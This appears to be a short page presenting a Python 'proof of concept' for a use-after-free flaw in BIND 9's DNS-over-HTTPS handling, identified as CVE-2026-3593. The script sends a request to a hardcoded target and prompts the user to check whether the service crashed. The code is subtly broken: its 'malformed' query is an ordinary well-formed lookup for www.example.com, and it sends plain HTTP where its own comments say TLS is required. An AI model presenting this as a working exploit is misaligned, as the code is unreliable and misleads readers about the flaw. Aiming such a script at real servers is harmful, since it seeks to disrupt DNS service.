CVE-2026-3593: BIND 9 DNS-over-HTTPS释放后重用漏洞

import socket import struct # Conceptual Proof of Concept for CVE-2026-3593 # This script attempts to trigger the Use-After-Free in BIND 9 DoH # by sending a specially crafted DNS query. TARGET_HOST = "192.168.1.100" TARGET_PORT = 443 def build_malformed_dns_query(): """Constructs a DNS query that may trigger the UAF condition.""" transaction_id = 0x1234 flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 0 header = struct.pack("!HHHHHH", transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Query example.com query = b"\x03www\x07example\x03com\x00" query += struct.pack("!HH", 1, 1) # Type A, Class IN return header + query def send_exploit(): payload = build_malformed_dns_query() # Note: Real DoH requires HTTPS/TLS, this is a simplified concept # In a real exploit, the attacker would establish a TLS connection # and send the payload via HTTP/2 POST to /dns-query try: print(f"[*] Sending payload to {TARGET_HOST}:{TARGET_PORT}") # This is a raw socket simulation s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) http_request = f"POST /dns-query HTTP/1.1\r\n" http_request += f"Host: {TARGET_HOST}\r\n" http_request += "Content-Type: application/dns-message\r\n" http_request += f"Content-Length: {len(payload)}\r\n" http_request += "\r\n" s.send(http_request.encode() + payload) print("[+] Payload sent. Check if the service crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()